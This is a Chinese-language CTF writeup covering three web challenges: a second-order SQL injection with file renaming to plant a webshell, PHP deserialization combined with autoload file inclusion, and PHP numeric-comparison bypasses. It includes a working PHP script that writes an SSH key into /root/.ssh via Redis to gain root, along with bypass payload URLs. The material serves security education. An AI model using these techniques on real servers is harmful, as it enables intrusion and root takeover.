幾期『三個白帽』小競賽的writeup
自從三個白帽問世以後,收到了大家的喜歡,依託『三個白帽』烏雲做了幾次小競賽,我也出了幾道題。Writeup不全是大家普遍反映的問題,我這裡把幾道題的解題思路彙總一下。 這幾道題的原始碼與環境都在三個白帽的集市中,大家獲取三個白帽的邀請碼以後可以在集市中進行購買與啟動。
0x00 二次注入+檔名修改導致getshell
本題是出現在XDCTF2015線下決賽中的題目之一,被我移植到三個白帽的環境中了。考察的是程式碼審計功底,和對於二次注入的利用。
入口:二次注入漏洞
此題入口點是二次注入。
在common.inc.php中可以看到全域性進行了轉義,這樣常規注入少了大部分。遍觀程式碼,輸入處沒有任何反轉義、反解壓、數字型等特殊情況,基本可以確定不存在直接的注入漏洞。 看到上傳處的程式碼upload.php:
#!php
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
$name = $path_parts["filename"] . $path_parts["extension"];
$path_parts["filename"] = $db->quote($path_parts["filename"]);
$fetch = $db->query("select * from `file` where
`filename`={$path_parts['filename']}
and `extension`={$path_parts['extension']}");
if($fetch && $fetch->fetchAll()) {
exit("file is exists");
}
if(move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
$re = $db->exec("insert into `file`
( `filename`, `view`, `extension`) values
( {$path_parts['filename']}, 0, '{$path_parts['extension']}')");
if(!$re) {
print_r($db->errorInfo());
exit;
}
可見,上傳的檔名走過的流程是:
$file['name'] -> pathinfo() –> $path_parts["filename"] -> quote() -> insert
由於經過了pdo的quote方法轉義,所以此處也不存在注入。
再看到rename.php
#!php
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result) {
$result = $result->fetch();
}
if(!$result) {
exit("old file doesn't exists!");
} else {
$req['newname'] = basename($req['newname']);
$re = $db->exec("update `file` set
`filename`='{$req['newname']}',
`oldname`='{$result['filename']}'
where `fid`={$result['fid']}");
根據$req['filename']
從資料庫裡查詢到已存在的一行,並呼叫update語句進行修改。
但這裡oldname='{$result['filename']}'
將從資料庫裡查出的$result['filename']
再一次入庫,結果造成一個二次注入。
利用二次操作進行getshell
那麼注入有什麼用?
這應該是大家拿到題目,想到的第一個問題。這題明顯與getshell有關,原始碼裡包含檔案上傳、檔案改名、檔案刪除等函式。
我們來一個個分析。
首先upload.php是檔案上傳的操作,但可見上傳處對檔案進行了白名單驗證:
#!php
if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) {
exit("error extension");
}
導致我們無法上傳惡意檔案。
其次是delete.php,這個檔案其實是個煙霧彈,刪除操作並不能利用。
再次是rename.php,這裡明顯是getshell的關鍵。
#!php
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result) {
$result = $result->fetch();
}
if(!$result) {
exit("old file doesn't exists!");
} else {
$req['newname'] = basename($req['newname']);
$re = $db->exec("update `file` set
`filename`='{$req['newname']}',
`oldname`='{$result['filename']}'
where `fid`={$result['fid']}");
if(!$re) {
print_r($db->errorInfo());
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if(file_exists($oldname)) {
rename($oldname, $newname);
}
最重要的就是後面這5行。
Oldname和newname,有幾個特點:
- 字尾相同,都是$result[‘extension’]
- oldname的檔名來自資料庫,newname的檔名來自使用者輸入
首先字尾相同這個特點,就導致getshell似乎難以完成,如果要getshell那麼一定要將“非.php”字尾的檔案重新命名成“.php”的檔案。字尾相同怎麼重新命名?
除非字尾為空!
所以我們的update型注入就開始派上用場了。透過update型注入,我們可以將資料庫中extension欄位的值改為空,同時也可以控制filename的值,那麼等於說我能控制rename函式的兩個引數的值,這樣getshell就近在咫尺了。
但還有個坑,這裡改名的時候檢查了檔案是否存在:if(file_exists($oldname))
我雖然透過注入修改了filename的值,但我upload目錄下上傳的檔名是沒有改的。
因為我利用注入將extension改為空了,那麼實際上資料庫中的filename總比檔案系統中真是的檔名少一個字尾。
那麼這裡的file_exists就驗證不過。怎麼辦?
簡單啊,再次上傳一個新檔案,這個檔名就等於資料庫裡的filename的值就好了。
所以最後整個getshell的流程,實際上是一個二次注入 + 二次操作getshell.
具體操作
1.選擇檔案上傳
2.rename造成注入:
3.上傳真正包含webshell的檔案x.jpg
4.重新命名進行getshell:
5.成功
0x01 反序列化+auto_register導致的程式碼執行
本題考察的是PHP反序列化碰上auto_register導致的安全問題。
找到原始碼
目標 http://24caf446e2bb0e659.jie.sangebaimao.com/
首先掃描發現其包含.git目錄,但訪問/.git/index發現沒有這個檔案,可能是被破壞了。
用lijiejie的工具無法還原,但用某些工具還是可以辦到的,詳見我之前的文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
就不再贅述,用某工具直接還原原始碼:
getshell
首先通讀原始碼,發現有幾個特點:
- 可以上傳任意檔案,字尾有黑名單檢查,檔名是隨機字串md5值
- 資料儲存於cookie中,透過php反序列化函式還原並顯示
其實考察點比較有意思。
看到common.inc.php裡,包含spl_autoload_register函式,這個函式是自動註冊類用的,在當今特別是新型的框架(laravel、composer)中常用。
這個函式有個特點,如果不指定處理用的函式,就會自動包含“類名.php”或“類名.inc”的檔案,並載入其中的“類名”類。
這就比較有意思了,我們之前的黑名單是不包括“.inc”檔案的,所以我們可以按照下面方法進行getshell:
1.上傳webshell,字尾為.inc,被重新命名為xxxx.inc
2.序列化一個類名為xxxx的類物件
3.將序列化以後的字串作為cookie,傳送到伺服器上
4.伺服器反序列化這個字串後,將會自動載入xxxx類,由於之前spl_autoload_register函式註冊的方法,會自動載入xxxx.inc,從而造成檔案包含漏洞,getshell成功
在網站根目錄的flag-1.php中獲得第一個flag。
利用本地redis提權
拿到webshell以後,檢視一下伺服器的一些敏感資訊。
比如在phpinfo裡看到了,session的處理方式用的redis,並且save_path裡暴露了redis的埠和密碼:
於是可以利用這段時間比較火的redis寫公鑰檔案進行提權。
直接編寫一個redis.php,用php來連線redis,執行redis寫公鑰的POC:
#!php
<?php
$redis = new Redis();
$redis->connect('127.0.0.1', 21821);
$redis->auth("Tat141uIyX8NKU");
$redis->flushall();
$redis->config("SET", "dir", "/root/.ssh/");
$redis->config("SET", "dbfilename", "authorized_keys");
$redis->set("0", "\n\n\nssh-rsa key_pub\n\n\n");
$redis->save();
連線其ssh埠,直接獲取root許可權。
讀取/root/flag-2.txt獲得第二個flag。
0x02 PHP型別與邏輯+fuzz與原始碼審計
本題考察了PHP型別與變數的特點,與參賽選手對於一個『不明白』的問題的解決方案(fuzz或閱讀原始碼)。
原始碼如下
#!php
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
exit;
}
include_once("flag.php");
/*
shougong check if the $number is a palindrome number(hui wen shu)
*/
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
ini_set("display_error", false);
error_reporting(0);
$info = "";
$req = [];
foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && is_numeric($value) && $req[$key] = addslashes($value);
}
}
$n1 = intval($req["number"]);
$n2 = intval(strrev($req["number"]));
if($n1 && $n2) {
if ($req["number"] != intval($req["number"])) {
$info = "number must be integer!";
} elseif ($req["number"][0] == "+" || $req["number"][0] == "-") {
$info = "no symbol";
} elseif ($n1 != $n2) { //first check
$info = "no, this is not a palindrome number!";
} else { //second check
if(is_palindrome_number($req["number"])) {
$info = "nice! {$n1} is a palindrome number!";
} else {
if(strpos($req["number"], ".") === false && $n1 < 2147483646) {
$info = "find another strange dongxi: " . FLAG2;
} else {
$info = "find a strange dongxi: " . FLAG;
}
}
}
} else {
$info = "no number input~";
}
?>
在題目上線前,我已經讓部分人測試過,當時大家找到了一些解決方法。
之前沒有這句話$req["number"] != intval($req["number"])
,所以大家有很多方法可以解決這個問題,比如1x10、01.1
於是我加了上面這句判斷,這樣就可以限制這些解法。現在說一下最終得到的三種解決方案。
利用整數溢位繞過
這是最簡單的方法,用的是php的整數上限。借用下 @藍加白 寫的writeup(條理清晰,思路很好)。
首先,看一下原始碼。發現要找到FLAG,必須要滿足以下三個條件:
- number = intval(number)
- intval(number) = intval(strrev(number))
- not a palindorme number
貌似第二個條件和第三個條件衝突了,但是我們可以利用intval函式的限制:
http://php.net/manual/zh/function.intval.php
看一下解釋:最大的值取決於作業系統。 32 位系統最大帶符號的 integer 範圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。64 位系統上,最大帶符號的 integer 值是 9223372036854775807。
從上面我們可以知道,intval函式還依賴作業系統,很明顯測試的環境系統是64位,所以應該選:9223372036854775807。
但有個問題,它的迴文數明顯小於64位系統的限制,所以我們想到前面加個0;
最終payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=09223372036854775807
利用浮點數精度繞過
這是 @玉林嘎 提出來的解決方案。
我來說一下原理。首先在電腦上測試下面的php程式碼:
可見,在小數小於某個值(10^-16
)以後,再比較的時候就分不清大小了,這與php內部儲存浮點數的機制有關。
在計算機裡,是不能精確表示某個浮點數的。比如1.0,通常情況下儲存在計算機裡的數值是1.000000000000xxx,是一個十分接近1.0的數。
所以,我們在執行這個if語句的時候if ($req["number"] != intval($req["number"]))
,會先將右值轉換成整數,再與左值比較。而左值是一個浮點數(1.000000000000001),所以右值又會被隱式地強制轉換成浮點數1.0
那麼1.0和1.000000000000001究竟是否相等呢?
因為我前面說的特性,1.0其實也不是精準的1.0,所以php在比較的時候是不能精準比較浮點數的,所以它會『忽略』比10的-16次方更小的部分,然後就會認為左值和右值相等。
回到CTF中,利用這個特性,我們構造1000000000000000.00000000000000010
,即可繞過第一個if語句,並且拿到flag。
函式特性導致繞過
這個特性涉及到php『數字類』函式的一個特性。什麼函式?包括is_numeric和intval等包含數字判斷及轉換的函式。
is_numeric為例,我們先來看他的原始碼:
可見我畫框的部分,is_numeric函式在開始判斷前,會先跳過所有空白字元。這是一個特性。
也就是說,is_numeirc(" \r\n \t 1.2")
是會返回true的。
同理,intval(" \r\n \t 12")
,也會正常返回12。
這就完成了一半。但有的同學又問了,題目獲取$req['number']的時候明明使用trim過濾了空白字元的呀?
我們再看到trim的原始碼:
掰指頭算一下,這裡過濾的空白字元和之前跳過的空白字元有什麼區別?
少了一個"\f",嘿嘿。
於是我們可以引入\f(也就是%0c)在數字前面,來繞過最後那個is_palindrome_number函式,而對於前面的數字判斷,因為intval和is_numeric都會忽略這個字元,所以不會影響。
最後透過payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=%0c121
拿到第二個flag:
相關文章
- 三個白帽之來自星星的你(一)writeup2020-08-19
- 三個白帽-條條大路通羅馬系列2-Writeup2020-08-19
- 三個白帽挑戰之我是李雷雷我在尋找韓梅梅系列3——writeup2020-08-19
- 全國大學生資訊保安競賽初賽writeup2020-08-27
- 資訊保安鐵人三項賽--資質賽writeup2020-04-05
- 烏雲創始人方小頓:白帽黑客的掙扎2014-04-09黑客
- 電科院密碼保密與資訊保安競賽網路攻防宣傳賽 Writeup2024-04-01密碼
- 黑客暗戰——黑帽、白帽、灰帽背後的隱祕世界2017-06-08黑客
- 演算法競賽小技巧2024-08-16演算法
- 三道MISC的writeup2022-12-08
- xss挑戰賽writeup2020-08-19
- 三個白帽條條大路通羅馬系列2之二進位制題分析2020-08-19
- 【CSDN競賽第24期】贏熱門圖書《演算法競賽》和定製周邊2023-01-10演算法
- 網路安全中什麼是白帽、黑帽、灰帽駭客?有什麼區別?2021-08-16
- 第一天-白帽守則2024-03-27
- 22藍帽杯初賽2024-07-26
- 第六屆補天白帽大會召開:多方聚力推動白帽人才實戰化能力發展2022-11-03
- 幾個小 trick2024-04-06
- 無聲杯 xss 挑戰賽 writeup2020-08-19
- 技術分享 | "錦行杯"比賽 Writeup2021-02-02
- 競賽釋出 | AI戰疫·小分子成藥屬性預測大賽開賽!2020-03-07AI
- ITPUB SQL大賽第三期2011-04-06SQL
- Coinbase迴應白帽黑客賬戶“被封”事…2016-04-18黑客
- 第一屆BMZCTF公開賽-WEB-Writeup2020-12-30Web
- 幾個 Haskell 小程式2014-04-26Haskell
- 100多次競賽後,他研發了一個幾乎可以解決所有機器學習問題的框架2019-10-07機器學習框架
- ITPUB SQL大賽第三期(二)2011-04-13SQL
- 2024春秋杯網路安全聯賽夏季賽-PWN-Writeup2024-07-09
- Swift開發的幾個小技巧2015-02-04Swift
- 幾個專案管理的小故事2011-12-05專案管理
- 幾個常用的Ajax庫小節2008-01-03
- 【CSDN競賽第27期】贏圖書《阿里雲天池大賽賽題解析—機器學習篇》和定製周邊2023-02-02阿里機器學習
- XSS挑戰第一期Writeup2020-08-19
- XSS挑戰第二期 Writeup2020-08-19
- Writeup-北郵新生賽MRCTF-Misc題:ezmisc2020-10-16
- C++ 競賽排序2017-08-16C++排序
- 一位大神級“白帽黑客”眼中的網路安全2017-07-03黑客
- 白話--長短期記憶(LSTM)的幾個步驟,附程式碼!2019-08-17